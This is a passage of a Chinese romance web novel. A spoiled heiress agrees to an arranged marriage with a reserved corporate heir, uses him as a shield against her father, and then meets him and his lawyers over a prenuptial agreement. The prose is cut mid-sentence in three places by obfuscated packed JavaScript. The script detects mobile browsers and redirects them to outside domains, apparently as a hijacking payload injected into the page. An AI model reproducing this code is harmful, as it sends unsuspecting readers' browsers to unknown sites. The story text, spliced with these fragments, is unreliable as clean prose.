RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123924|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝剑了? 行,既是这样,那就别怪她反将一军了。 “这您就有所不知了,他就喜欢我穿成这样!” 在江祈年气出的笑里—— “您不信啊,行。”江棠梨掏出手机。 昨天夜里失眠,她闲来无事就看了眼微信里的手机联系人,顺手一点,加了陆时聿的微信。 结果一直到今天傍晚的时候才通过,不过这都不是重点,重点是现在刚好派上用场。 虽然已过九点,但陆时聿还在公司会议室开会。 肃静的会议室里,对面的LED显示屏正展示着PPD内容。 虽然视线看向正前方,但放于他面前的笔记本右上角跳出的视频邀请,还是落入了他余光里。 「大梨梨」? 这个昵称让陆时聿感到极为陌生,但是再看一眼头像—— 闭着眼、噘着嘴,朝着镜头亲吻的大头照。 竟然是她。 陆时聿这才想起上一个会议后,微信里被他通过的一个好友邀请。 正在开会,陆时聿不可能接。 挂断后,陆时聿回了一条消息过去:「在忙。」 谁知,手机那端的人却不依不饶地又拨了过来。 能不管他的忙而又打来,想必是有急事。 陆时聿示意会议暂停,拿起手机走出会议室。 刚一接通,黏糊糊的两个字,犹如开了免提般从听筒里传出来。 “时聿~” 陆时聿眉心一跳。 屏幕里,那张巴掌大的鹅蛋脸正冲他甜甜地在笑。 裹在衬衫里的两条手臂凸起一层鸡皮疙瘩,一开口,陆时聿难得地结巴了,“有、有事?” 老古板! 问她「怎么了」也比「有事」强啊! 江棠梨眉眼笑痕不减:“给你看看我今天穿的衣服哈。” 说着,她把手机举高。 陆时聿:“......” 给了他四五秒的欣赏时间,江棠梨问:“怎么样,好看吗?” 陆时聿眉心锁着:“就这事?” “你就说好不好看嘛~” 撒着娇的调子,拖着黏糊糊的尾音。 抵在领带上方的喉结不自觉地滑了一个来回。 很无奈,但这个时候除了说好看,怕是再也不会有别的答案正中她心窝了。 “好看。” 以为这就行了,结果视屏那端的人又问:“那你喜欢吗?” 陆时聿:“......” 今天周五,距离上次通话也不过六天的时间,所以这六天的时间又发生了什么,竟然让她问出如此不该问的问题。 也不是不该问,起码这样的问题不适合出现在他们的通话内容里。 暂停会议出来处理私人问题,已经破了他的例。 陆时聿只想快点结束这个让他不解、无措又茫然的视频通话。 “喜欢。” 视线从手机屏幕里一偏,江棠梨看向怔在一旁的江祈年:“怎么样,我说的没错吧!” 虽然不知道她在跟谁说话,但陆时聿还是懂了。 她是把他当成工具人,正在向另一个人证明什么。 是证明她今天的穿着好看,还是证明他对她—— 不等陆时聿捋清,又听她说:“好啦,没事啦,你早点休息。” 休息? 敢情他发过去的那条说自己在忙的消息,她压根就没看见。 无奈失笑间,陆时聿转身。 一只脚刚迈进会议室,没有主动挂断的手机又传来娇滴滴的一句—— “晚安,么么哒。” 10. 第 10 章 陆时聿双脚陡然停在原地。 肃静的会议室里,坐的都是集团高层。 一双双看过来的眼神里,既震惊,又不可思议。 掩去眸底一闪而过的窘色后,陆时聿抬起脚,从容不迫地走了进去。 “继续。” 所有人都垂下眼,但余光却都齐齐往他的方向瞄。 没有人敢在这个时候窃窃私语,但所有人都在心里猜测刚刚听到的女声到底是何方神圣。 LED屏幕被翻滚到下一页,耳边是陈述的报告声,陆时聿却看着面前的电脑屏幕。 刚刚他‘不小心’点开了微信,位于左面聊天缩略的顶端显示两条未读消息。 「谢谢啦~」 后面是一个鞠躬的感谢表情包。 所以刚刚那个人是谁? 她的追求者? 所以拿他当挡箭牌? 不然她为什么会在挂断前说那么一句那么让人浮想联翩的话。 是挡箭牌,但更是尚方宝剑。 重点是,的确好用。 在视频通话挂断后,江棠梨带着几分耀武扬威的语气,“爸爸,我能走了吗?” 江祈年还陷在刚刚那句「晚安么么哒」对他的冲击力里。 他想不通。 “你俩也没见过几面,都这么熟了?” “但是我们每天都会发短信打电话呀,”这些小打小闹的谎,江棠梨信手拈来。 “哦对了,他还说明天会回来看我,到时候咱们俩家吃个饭,顺便再把婚期定了。” 江祈年就这么怔怔地看着她,“你真想好了?就这么嫁过去了?” “不然呢?”江棠梨茫然又无辜地眨了眨眼:“我可是顺了您的意。” 江祈年:“......” 长这么大,能让爸爸有过如此复杂难言的表情,几乎是一只手都不能数满。 江棠梨不敢在原地久待,也不敢多说些什么给他反应的时间。 就这么迅速转过身,挂在胳膊上的包链往肩膀上一扬,江棠梨一边往门口走一边扬起手往后挥了挥。 凄冷的夜色,最能掀起心底的情绪。 有成就感,但失落更多。 方以柠总说她不知足,说放眼周围,就数她生活在蜜罐子里,一家人都捧她为掌上明珠,受点管怎么了。 其实细细想来,从小到大,爸爸对她只有管束却无压制。 大学不想出国就留她在京市。 专业从金融改成了设计也只是生了她两天的闷气。 开酒吧不容许,可二哥真的帮她开成了,爸爸也却也没有强制性让她关掉。 或许是二十年来过于纵容她,让她对现在这一点点的管束都觉得压抑,觉得喘不过气来。 车驶出大门,璀璨的霓虹都没能压下从她心底翻涌出的负面情绪。 “就当我不知足吧!” 音响传来燥耳的DJ舞曲,盖住了她上一秒喊出的声音。 * 隔着一千多公里的海市,繁华迷乱的夜生活也刚刚破晓。 有人在灯红酒绿里醉生梦死,就有人为每日的生计争分夺秒。 但是对陆时聿来说,这两种生活都离他太过遥远。 他是陆家独子,背负了唯一继承人之名,就不得不用百分百的精力与专注力抗下这份重担。 在今天之前,他的确如此。 向来在会议时百分百专注的他,今天竟有几次失神。 他想,或许是因为今天持续的五场会议让他疲倦。 “今天先到这里。” 一阵被刻意放轻的窸窣声里,陆时聿摘掉眼镜,手捏眉心。 但是他动作又忽然一停。 明天周六。 难道她今晚的这通视频电话,是在间接暗示对这桩婚事的最终心意? 耳边再次响起那软似一滩水的声音:晚安么么哒。 看见他停顿在眉心的手指,站在他身旁的陈敬咽下嗓子眼的话,等他先开口。 只是没想到,这一等没能等来他的发话,却见他拿起电脑旁的手机。 陈敬无心多瞄,实在是他站立一旁,视线俯下,那聊天界面让他一览无遗。 凝眸看向那头像和头像后的昵称:大梨梨。 所以会议的后半段,陆总两度没有第一时间听见下属的问询声,是因为江家那位大小姐? 陈敬盯着悬在屏幕上没有动作的手指。 默了会儿,见他还是没有动作,陈敬试探着问:“陆总,已经十一点了。” 是啊,太晚了。 想必她应该已经睡下。 他不知道的是,十一点对江棠梨来说一点都不晚。 从酒吧出来已经凌晨一点。 关小飞拉开后座车门的时候,江棠梨正仰头看着酒吧门头上的蓝色招牌。 夜风很凉,她双腿只穿了丝袜,尽管外大衣很长,可却是敞开着的。 关小飞走过去。 见她漂亮的一双眼睛微微眯着,像在失神。 准确来说,她今晚一直都心不在焉,甚至还破例点了两杯烈酒。 “江小姐。” 神识回了两分,江棠梨才感觉到扑面的冷风,她缩了缩肩膀,回过头来时,关小飞在她眼里看见了薄薄一层雾气。 “走吧。” 关小飞微微一怔,忙紧跟上去。 虽然来时江棠梨是自己开车,但回去都是关小飞送她。 是江璟沐要求的。 尽管一开始江棠梨很拒绝,但经不住一句:不让人送,那酒吧就不要去了。 车开了一段,不过十多分钟,关小飞就从后视镜里发现她几度咬唇的动作。 忍了几次,关小飞终究没忍住:“江小姐,是遇到什么麻烦事了吗?” 关小飞不止只在酒吧里保护她的安全,平日里江棠梨逛街出去玩,他和弟弟关小羽也会跟着。 江棠梨叹了口气看向窗外:“我快结婚了。” 车速明显一顿,江棠梨没有系安全带,身体惯性地往前扑了一下。 “抱、抱歉,江小姐。” 江棠梨重新坐好,一边系着安全带,一边往他后耳根瞥去一眼:“吓到你了?” 的确。 关小飞脸上羞愧难挡,抿了抿唇说:“是有些意外。” 对别人是意外,但对她这个当事人来说,却像一场梦摆在面前。 关小飞又看了眼后视镜:“那您结婚了,酒吧还继续营业吗?” 江棠梨眼皮一掀:“当然了!” 既然爸爸想用她的婚姻来巩固和扩大自己的商业版图,那她也要充分利用这桩婚事打下自己的江山。 所以,酒吧不仅要继续营业,她还要开分店,从京市开到海市。 总之,她一定要把「偷得浮生半日闲」这七个字打造成她江棠梨的招牌。 郁闷难挡,江棠梨就和关小飞闲聊了起来。 “跟我哥以前,你是不是也在酒吧做过?” “对,金枪酒吧,后来那老板犯事了想拿我作挡箭牌,是沐总出面帮了我。” 江棠梨只听二哥提过两句,但细节她并不清楚。 “也是做的保镖?” “不是,是副经理。” “副经理?”江棠梨被意外到了,“你还当过副经理呢?” 江棠梨开的这两间酒吧也请了经理,但没有副职。 “那你平时都做什么?” 关小飞说:“就是负责酒吧的运营,协调各部门工作,跟咱们王经理平时做的差不多。” “那你怎么是个副职?” 关小飞解释:“后来老板的一个表弟过来,老板就把这个经理的位置给他了,不过他只是挂个名,不干事。” 两年前,金枪酒吧风头可劲了。 江棠梨又问:“那你在那边做了多久?” “也就两年多不到三年,在那之前,我在幻城也做了三年。” 幻城酒吧是个老酒吧,最火的时候,江棠梨还在上高中,也因为太火,被好几个酒吧联合起来打压,近两年几乎算是苟延残喘。 江棠梨在心里算了算时间:“那你从幻城走的时候,他们家应该风头正盛啊。” 关小飞听出她的疑惑,坦言:“当时正赶上金枪四处招人,给的钱是幻城的两倍,我就过去了。” 江棠梨“唏”他一声:“你可真是哪儿钱多往哪儿跑!” 正好遇到红灯,车平稳停下,关小飞回头:“江小姐,如果不是沐总,我这会儿就在牢里了,就这份恩情,别人就是给我再多钱,我都不会走的。” 江棠梨抱着胳膊坐了回去:“那行,既然你有管理酒吧的经验,那等我走了,酒吧这边,你多帮我看着点。” “走?”关小飞不禁皱眉:“您是要去哪?” 说到这,江棠梨扁了扁嘴:“海市,我嫁的那个人他现在住在海市,所以以后我就只能抽空回来了。” 关小飞脑海里浮现出一张脸:“是上次来酒吧找您的那个男人?” 江棠梨点了点头,刚“嗯”出一声,又忍不住打趣道:“怎么样,长得还行吧?” 关小飞点头:“和您站一块,很般配。” 是比另外几个候选人要强,不说家世,就那张脸就挺能打。 都说女人是男人的面子,江棠梨觉得,找男人也得找能拿得出手,不然以后她在这圈子里怎么抬得起头。 不过这不是最重要的。 江棠梨说:“下周我会去海市一趟,到时候你跟我一块儿。” 关小飞应得很干脆:“好。” 家里的客厅里没有人,但灯亮着。 以前不觉得有什么,今天却格外觉得暖。 江棠梨在二楼停住脚,呆呆站了会儿,最后走到卧室门口停下。 从来都没有像现在这样,想进去抱一抱把她捧在心尖上疼了整整二十四年的爸爸妈妈。 可是时间真的太晚了。 江棠梨背身在门旁的地板上屈膝坐下来。 脑袋里满满的,心里藏了很多话。 可是脑袋里又好像空空的,因为不知要怎么表达。 她擅长撒娇,擅长无理取闹,可是却不擅长吐露内心。 拿在手里的手机屏幕被她摁亮。 周六,01:52。 已经到了那个人说的最后期限。 点开微信,再点开以单字「陆」为昵称的微信头像后,江棠梨没有犹豫地打出一行字:「这个婚,我结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15123925|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。」 陆时聿是在第二天早上六点看见这条短信的。 他习惯早起,习惯起床后看一眼手机。 短信内容没有让他很意外,只是没想到她会再用短信的方式和他确认一遍。 他甚至从那个小小的句号里看出了她的决心。 只是看见发送的时间,陆时聿蹙了下眉。 是半夜醒来给他发的,还是那个点她压根没有睡? 不过陆时聿没有立即回复,直到八点,他坐上私人飞机,陆时聿才回了短信过去:「好,那我今天回京市。」 但是这条短信在三个小时之后,直到陆时聿出了机舱都没能等来回复。 坐上车,陆时聿拨了电话过去。 听筒里传来很久的等待音,就在陆时聿准备拿下手机后,电话接通了。 “谁啊!” 很是不耐烦的两个字,混着浓重的惺忪睡意。 陆时聿眉心微蹙:“是我,陆时聿。” 江棠梨的起床气可不管对方是谁。 “你烦不烦?” 不等陆时聿反应过来,电话就被挂断了。 史无前例。 从未有人用这样的语气跟他说过话,更是从未有人如此不客气地挂断他电话。 陆时聿看着手机屏幕,怔了怔,抬头时,刚好对上后视镜里望过来的眼神。 陈敬目光慌了一瞬,忙说:“今天周六,江小姐可能在睡懒觉。” 说完,他才意识到自己的多嘴拆穿了陆时聿眼里的窘意。 可是说出去的话泼出去的水,这时候,他除了闭嘴只能闭嘴。 不过陆时聿倒没有在这个时候去在意自己的脸面,他只是大概确定了一件事:昨晚九点她应该是拿他作家人的挡箭牌去酒吧,而凌晨两点发来那条短信的时候,应该是她离开酒吧的时间。 总之,她是一个黑白颠倒的人。 如果是这样的话,那她对这桩婚姻从抗拒到接受...... 「我是一个很向往自由的人,想必陆总也不想被婚姻束缚。」 这是她一周前与他晚餐时说的话。 因向往自由而拒绝和他结婚,如今又想通过和他结婚获得自由。 好一招金蝉脱壳。 陆时聿垂眸失笑。 真不知该说她聪明,还是说她聪明反被聪明误。 难不成她以为,他口中的给她自由,是放任她深夜不归流连酒吧? 看来真的有必要写一份婚前协议了。 只是没想到,一通被无情挂断的电话,在五分钟后被主动拨了回来。 陆时聿看着手机屏幕,在指掌感受到三次震动后,他才接通:“喂。” “我刚刚睡迷糊里,没反应过来是你。” 声音明显比刚刚清醒了很多。 “不要紧。” 他语气淡淡,听不出有丝毫的情绪。 倒不是装,而是他觉得,为这点小事,不至于。 不过对江棠梨来说,刚刚挂他电话完全是起床气后的条件反射,不过回他电话倒不是因为抱歉。 没什么可抱歉的,扰她美觉,她没对他发更大的脾气已经不错了。 所以江棠梨的声音里只有礼貌没有歉意。 “刚刚找我是有事?” 从她的话里,陆时聿有些拿不准她是明知故问还是说压根就没看见早上给她回的那条短信。 “我已经到京市了。”他说。 江棠梨吃惊地“啊”出一声:“这么快?” 陆时聿一向很重时间,所以没有跟她兜圈子:“江小姐要不要和我见一面?” 见面? 江棠梨想起上周六他说的那句:「如果江小姐在深思熟虑后依然不改变心意,我就回来。」 所以他这趟回来是专程来见她...一面的? 江棠梨皱了皱眉。 除去正月里的那场宴会,他们目前也不过只见了两面而已。 才两面,他就开始对她上心了? 又或者说,蠢蠢欲动? 江棠梨嘴角一撇。 果然传言可听不可信。 “行啊,在哪?” 正值晌午,这时候约见,自然不能失礼。 陆时聿说:“一个小时后,沧澜会,可以吗?” 现在是十一点四十,从她们家到沧澜会大约四十分钟,也就是说,他还留了二十分钟给她洗漱。 真不知该说他细心,还是低估了女孩子出门所需的时间。 不过凭什么他说中午见她就得答应? 她才不要这么被动。 “我一会儿还有其他的事,”江棠梨直接把时间推到了晚上:“七点吧。” 隔着手机,江棠梨看不见他深拧的眉心,只知话筒里静了几秒—— “好,那就依江小姐所说,七点,沧澜会见。” 虽然见面被推迟到晚上,打乱了陆时聿一早安排的计划,但她说有事,陆时聿也不好强人所难,所以在那通电话挂断后不久,他发了条短信过去。 「既然江小姐对这桩婚事下了决心,那我们就各自拿出彼此的诚意。晚上见面,我会给到江小姐一份婚前协议,江小姐有什么要求也可以提,如果方便,提供纸质更好。」 11. 第 11 章 陆时聿发来的那条短信,江棠梨没有第一时间看见。 距离晚上还早,肚子饿得咕咕叫,那通电话后,她就去了卫生间,洗漱后下楼,见一家人都齐齐整整地坐在客厅里。 爸妈在家不稀奇,稀奇的是大哥二哥竟然也在。 要知道,这两个哥哥可是从来都没有休息日的,这也是江棠梨无论如何都不愿进自家公司上班的原因。 瞧见那一双双眼睛都定在自己脸上,显然,自己又成了矛盾中心。 她故作镇定地走过去:“干嘛都这么看着我?” 为了掩饰自己的不安,她从茶几的水晶果盘里捏了颗鸡蛋大的菠萝莓。 刚咬一口,就听爸爸说—— “昨晚几点回来的?” 又开始秋后算账。 江棠梨往沙发里一坐:“十二点不到。” 江祈年冷哼一声:“凌晨一点,我给你妈妈出来倒水,怎么没看见你鞋?” 江棠梨没有把换下来的鞋收起的习惯。 这个亏,屡吃屡忘。 不过她也不是一点经验都没有。 “我回来了,只不过没进门。” “没进门?” 头一次听到这个谎话,江祈年稀奇又想笑:“你一出酒吧就恨不得一秒飞回家,能争分夺秒地回来,还能舍得门口呆一个多小时不进来?” “为什么不能?” 江棠梨拿出昨晚的尚方宝剑,“我刚到家门口,陆时聿的电话就打来了,我总不能以不想吵到你们挂断他电话吧,结果一不小心就打了快两个小时,把我手机都打没电了。” 说到最后,她还一副委屈状地努起了嘴。 在‘坑蒙拐骗’这件事上,江祈年知她一向游刃有余,眼下,她说的字字不可信,却又因为昨晚那通视频通话,让人不得不信。 原本是想找个可靠的人管着女儿的,现在看来,这管束好像逐渐往纵容上偏了道。 但是这一想法终究还是被江祈年狠狠在心里否了。 他看人看了几十年,不可能看错。 沉稳克制的人,一向都有极强的行为准则,既会约束自己,也会要求身边的人。 那么昨晚的纵容,许是因为俩人现下的关系,还不到约束的时候。 江棠梨坐他斜对面,一双眼细细观察着父亲的表情。 实在吃不准他心里所想,江棠梨心一横,加了一记猛料:“你要是不信可以给他打电话,正好他人在京市。” 江祈年目光沉静,但出口的声音还是能听出几分讶异:“他真回来了?” 江棠梨咬文嚼字地品出了他心底八分的犹疑。 “对呀,早上八点飞机回来的。” 这是事实,江棠梨说得脸部红心不跳,说完,她突然想起来:“我昨晚不是跟你说过吗,你以为我在开玩笑呀?” 是,她不仅说陆时聿会今天回来,还说会约两家一同吃饭商讨婚事。 江祈年愣了两秒钟,蓦地,他突然低头看一眼时间。 江棠梨猜出他下面要说的话,不等他抬头开口,主动招供:“他飞机一落地就给我打电话约我吃饭了。” 江璟烨看向她一身的睡衣打扮:“那你还在这坐着?” “但是被我推到晚上了。” 见一双双不解的眼神落过来,江棠梨下巴抬出傲娇:“难不成他想见我,我就立马让他见到呀!” 江璟沐笑得肩膀一抖:“你别告诉我,你还想跟他玩欲擒故纵的把戏。” “我,”江棠梨手指自己,“跟他,”又手指外面,“玩欲擒故纵?” 她笑得匪夷所思:“别开玩笑了好吗?” 可是当她吃完午饭回到楼上,看见陆时聿一个小时前发来的短信时,江棠梨是真的笑了。 气笑的。 二哥还说她在欲擒故纵。 他们就是合作的关系,她至于跟这样的人玩欲擒故纵? 其实对于任何一个有点情场经验的人来说,江棠梨在电话里说的话都会让人误会,又或者说,引人遐想。 这在陆时聿的好友楼昭身上得到了验证。 “她怕是故意钓你的吧?” 陆时聿皱眉:“你想哪里去了,她只是临时有其他的事情。” 楼昭叹气:“你那双眼啊,也就看男人准点,看女人,你道行还是太浅了。” 一个恋爱经验为零的人,怎么可能识破女孩家的小心思。 别说欲擒故纵了,就那他无情无欲的,怕是脱光了站他面前,他也能做到君子淡如水。 “正好我这两天没什么事,下午我找你去。” 陆时聿不了解女人,但了解他。 “你如果是想见她,那就不用来了。” “怎么,”楼昭笑得焉坏:“以后我可是要喊她一声嫂子的,我见我嫂子还不行?” “正经点,”陆时聿语气严肃了几分:“她就一小姑娘,别吓着他。” 楼昭被他的话意外到了:“这还没怎么样呢,就护上了?” 倒不是他护着。 陆时聿实话实说:“爷爷很喜欢她。” 又拿老爷子说事。 楼昭心里憋了好几天了:“以前没发现你这么愚孝,怎么回事?” 他孝,但从不愚。 只是对陆时聿来说,他没有时间去认识女孩子,也没有时间去谈情说爱。如果这个婚一定要结,那不如就找一个能让家人喜欢和满意的。 尽管他也不知道爷爷究竟喜欢她什么。 “好了这事以后再说。” 电话挂断,陆时聿看向窗外。 父亲去年圣诞前夕动了手术,之后就一直在国外疗养,夫妻恩爱,陆时聿的母亲就一直陪着。 这两年陆时聿常住海市,所以雍锦一号公馆里,就只有老爷子陆之远一个人住。 两栋三层高的别墅,中间隔着一个大花园,半人高的白色篱笆墙上爬满了紫藤。 从初夏到盛暑,从紫穗悬垂到浓叶满架。 接到他电话后,老爷子就等在了院子里。 午后阳光暖意烘人,清凉的风里吹来阵阵玉兰花香。 在院子里溜达了一会儿后,老爷子坐到了池塘边的躺椅上。 服侍他的宋管家将搭在胳膊上的绒毯抖开,轻盖在他身上。 陆时聿到的时候,老爷子已经睡着了。 陆时聿朝宋管家做了个嘘声的手势后,轻推开篱笆门,走了进来。 正好一阵风吹来,老爷子睁眼,看见他蹲在身旁,铺满皱眉的眼角褶出意外的惊喜。 “看我,刚坐没一会儿就打起盹来了,什么时候到的?” “刚到您就醒了。” 躺椅旁就有一个竹凳,每次陆时聿回来,只要天好,他就会坐在竹凳上陪老爷子晒晒太阳聊聊天。 宋管家将竹凳搬过来:“少爷,您坐。” 刚一坐下,老爷子就迫不及待地问起他来:“你不是说上次和梨梨一块儿吃了饭,感觉怎么样?” 上周六回来得有些迟,老爷子已经睡下,这事便拖到了现在才问起。 “挺好的。” 陆时聿没有把自己的真实感受说出来,一来不想扫老爷子的兴,二来...... 他也不想争取和改变什么,所以,他的感受也并非那么重要。 老爷子看着他长大,小时候还能看得透摸得准的性子,不知从什么时候开始,需要一点点抽丝剥茧了。 可惜他人老了,岁数大了,已经瞧不出他游刃有余的应对下,到底几分本心,几分伪装。 老爷子看着他:“在我们陆家,婚姻是一辈子的,有始无终,可不能有一点点的将就。” “没有将就,”陆时聿说:“能得您的喜欢,自然有她的闪光点。只是我和她相处时间不多,一时还没有太多的发现。” “那如果让你用两个词来形容她呢?” 在老爷子那双紧盯的视线里,陆时聿不算违心地总结:“恣意、率真。” 当然,也可以说是骄纵、任性。 老爷子在心里品了品他的两个形容词后,笑了:“是有些小任性。” 被一语道出他的本心,陆时聿垂了垂眸,又说了一个词:“也很真诚。” 这两个字,是从她拒绝这桩婚事的初心得来的。 陆时聿到现在还记得,她说自己向往自由时,眼里仿佛燃了焰火一般。 老爷子回忆道:“正月里,她爸爸带她来给我拜年,当时正好孟医生给我打完胰岛素,并叮嘱我饮食上的忌口,那天除了他们父女俩,还有不少登门的客人,都在推荐糖分低的粗粮时,就只有那姑娘在撇嘴,我问她原因,她说,我要是您,我就想吃什么就吃什么,什么都不让吃,活着还有什么意思。说完啊,她爸爸斥了她一声,她委屈的哟,跟我道歉,你知她说了什么?” 既是道歉...... 陆时聿笑了笑:“对不起?” “哪有那么俗气,”想到当时的场景,老爷子笑出声来:“她说,陆爷爷,我刚刚说的是我老了以后,您可别学我。” 老爷子笑得合不拢嘴:“很是天真可爱啊!” 难道不该说她说话没轻没重,面对长辈没大没小吗? 陆时聿在心里无奈,眼角却含笑地点了点头:“是挺天真的。” 老爷子掌心在他手背上拍了拍:“虽然我很喜欢那姑娘,但还要看你的态度,你若是不喜欢,爷爷不会强求。婚姻大事,不能违了本心。” 本心。 若论他的本心,自然是无心情爱。 可作为陆家独子,这份本心未免太过自私。 所幸,情爱和婚姻并不相冲。 她向往自由,以这婚姻金蝉脱壳,他也既能遂她的愿,又圆长辈的意。 做不到父母那般的相知相爱,能相敬如宾,也未尝不可。 * 夕阳斜落后,风里的寒和稀薄的月光一同跑了出来。 方以柠挽着江棠梨的胳膊,和她从商场里出来。 平日里江棠梨逛街,关小飞跟她进商场给她拎东西护她安全,弟弟关小羽则在车里候着。 车就停在商场门口,关小飞把满手的购物袋放进后备箱的时候,方以柠正晃着江棠梨的手。 “你就带我一块儿去呗,我到现在还只闻其声未见其人呢!” 这话,从江棠梨跟她说起晚上要和陆时聿吃饭后,她已经央了好几个来回。 江棠梨还是那句:“两只眼睛一个鼻子的,有什么好看的。” 处得久了,两人都学到了彼此脾气里的精髓。 方以柠脚一跺,嘴一噘:“小气鬼,都还没结婚呢,就开始把人藏得这么严实了!” 江棠梨白眼一翻,随她说去。 “你到底带不带我去?” 若不是今晚会谈及婚前协议,江棠梨其实也无所谓她去不去。 可是她要面子,万一没谈拢,那岂不是丢人丢大发了。 “下周行不行?下周我正好去海市,那是他的地盘,到时候让他请你吃大餐。” 方以柠眼睛一眯:“没骗我?” “骗你不是人!” 这句比骗你是小狗的含金量高一点。 方以柠信了:“周几?” “还没确定。” 主要得看今晚谈得怎么样,而且还要和她的老父亲报备。 想到这,江棠梨真恨不得现在就嫁出去。 约的是七点,江棠梨早到了二十分钟,但她没有下车。 “六点五十八分喊我,我眯一会儿。” “好的。”说完,关小飞把车窗隙了一条缝,和关小羽相继下车。 江棠梨每辆车里都会备一条毯子,一个抱枕。 穿着高跟鞋逛了一下午的街,两只脚早就酸累得不成样子。 鞋子一脱,整个人都松散舒适了下来。 再枕着抱枕,盖上毯子,惬意的让她摸出了手机。 江棠梨的微信里,群聊多的都被她折叠了起来。 平时嫌吵,她都把群聊信息设置成只接受不提醒,两三天才会去翻一次。 所谓不翻不知道,一翻吓一跳。 好几个群里竟然都在聊她。 她这个当事人在,言辞自然也都有收敛,可那字字句句里还是透着股阴阳怪气。 「昨晚我弟去酒吧,刚好梨梨也在,回来一个劲地问我,她有没有男朋友。」 接着,后面像是接龙似的,一个又一个地@她。 江棠梨看着那条消息的发送时间,是三天前。 想了好一会儿,那天手机是一个劲地震,当时怎么就没注意呢,不然她铁定要回一个过去:不仅有,还要结婚了呢,意不意外,惊不惊喜? 不知是不是因为她这个当事人没回,没一会儿的功夫,群里开始顺着这个话题聊了起来。 「肯定没有啊,听说江叔正在物色女婿人选呢!」 「咱们梨梨这么漂亮,咱们周围可真没几个能配得上的!」 「那你们可错了,咱们梨梨可是个搞事业的,名下两间酒吧开得正红火呢!」 「真羡慕,我上次跟我爸说想开个会所都被他笑话了,说一年挣的钱怕是都不够我一个星期花的。」 看到这儿,江棠梨彻底被气笑了。 开酒吧怎么了? 群里的这一个个哪个不是在酒吧里醉生梦死的? 现在可好,她一个开酒吧的倒成了群嘲的对象了。 再往下看,更气。 「你们也不怕咱们梨梨突然冒个泡,噎死你们。」 「哎哟,梨梨一天到晚不是忙着挣钱,就是忙着相亲,哪有时间理咱们。」 「相亲?和谁?」 「正月里啊,我爸去给陆老拜年,回来的时候,说梨梨也在,当时好多人都在毛遂自荐呢,咱们梨梨可受欢迎了!」 「哪个陆老,陆盛集团的老爷子吗?」 「不然呢,每年的惯例啊,你不会不知道吧,不过也不是谁都能去。」 江棠梨实在没忍住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15123926|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按住这条信息回复:难怪我在陆爷爷家没看见你呢! 发完,江棠梨直接锁屏下车。 刚一到门口,里面的侍应生就先行拉开门,“江小姐。” 京市有四大顶奢会所,沧澜会就是其一。 面积九千平方米,会员制,不过入会资格极其严格,不仅要求个人身家过亿,还必须得是社会贤达人士。 而父亲江祈年是沧澜会的个人会员,入会后,其配偶及其所有子女不仅可享用沧澜会内的一切设施,且信息每年都会更新。 所以能被一眼认出,江棠梨丝毫不觉惊讶。 虽然江棠梨今天是第一次来,但她知道,这是陆家的产业。 之前总听说这里不能单单只用富丽堂皇来形容。 今日一见,果然。 没有丝毫会所会有的俗气,每一眼看到的都是文化和艺术的交汇。 走进一条三米宽的长廊,尽头的端墙上挂着的一幅画作,让江棠梨轻吸一口气。 是去年他跟父亲还有大哥去参加的一场慈善晚宴上的藏品,被陆家以一亿六千万拍了去。 竟然挂在了这里。 “江小姐。”侍应生的声音让江棠梨收回视线。 随着对方以手指引的方向,江棠梨往右侧敞开的拱形门看去。 西装革履、衣冠楚楚的男人正在迎面朝她走来。 “江小姐,”陆时聿走到她身前一米远,侧过身,右手稍稍一抬:“请进。” 天花板是无主灯设计,隐藏的光源很特别,发散而下的白光里带着点莫测的蓝。 让那张原本就深邃的轮廓更加深邃,不单单是好看。 还有让人心脏“咚”的一声,后知后觉的危险。 江棠梨不知自己为何会有这种感觉,只是下意识的,垂在身侧的两只手悄悄攥紧了。 她在想她心里默写成书的婚前协议,虽然只有两个条件,可每一个字像是在质疑面前这个男人的身份和威严。 尽管此时此刻的他,嘴角微微上扬,可若细看,那笑分明是不达眼底的。就像父亲在面对生意伙伴时的客气和礼貌,仅此而已。 随着他转身往里步入,江棠梨视线落在他宽阔的肩膀,然后她看见最里面的半合围沙发前还站着两个男人。 “江小姐。” “江小姐。” 在连续两声的礼貌下,陆时聿给她介绍:“这位是蒋律师,这位是方律师。” 连律师都带来了。 江棠梨视线落到一侧长几上。 除了两个笔记本,还有一份白纸黑字的婚前协议书。 这是拟好了? “江小姐请坐。” 江棠梨在他以手示意的单人沙发前坐下。 “短信里的内容,江小姐有看到吗?”陆时聿开门见山地问。 “看见了。” “今天两位律师在场,有什么要求,江小姐尽管提。 江棠梨当然不会跟他客气,可是现在她比较想先看一看他拟好的。 随着她目光的定格,陆时聿很快便懂了她的眼中意。 “江小姐也可以先看看这一份。” 视线从他手上抬到他脸上,江棠梨默了两秒才伸手接过。 翻开首页,映入眼底的便是第一大项:婚前财产范围。 一目三行地扫过,一页两页三页四页五页...... 看得江棠梨眉心渐紧。 这罗列得也太细了吧,不知道的还以为他在炫富呢! 陆时聿当然也察觉到她表情的变化。 “江小姐,是哪里有问题?” 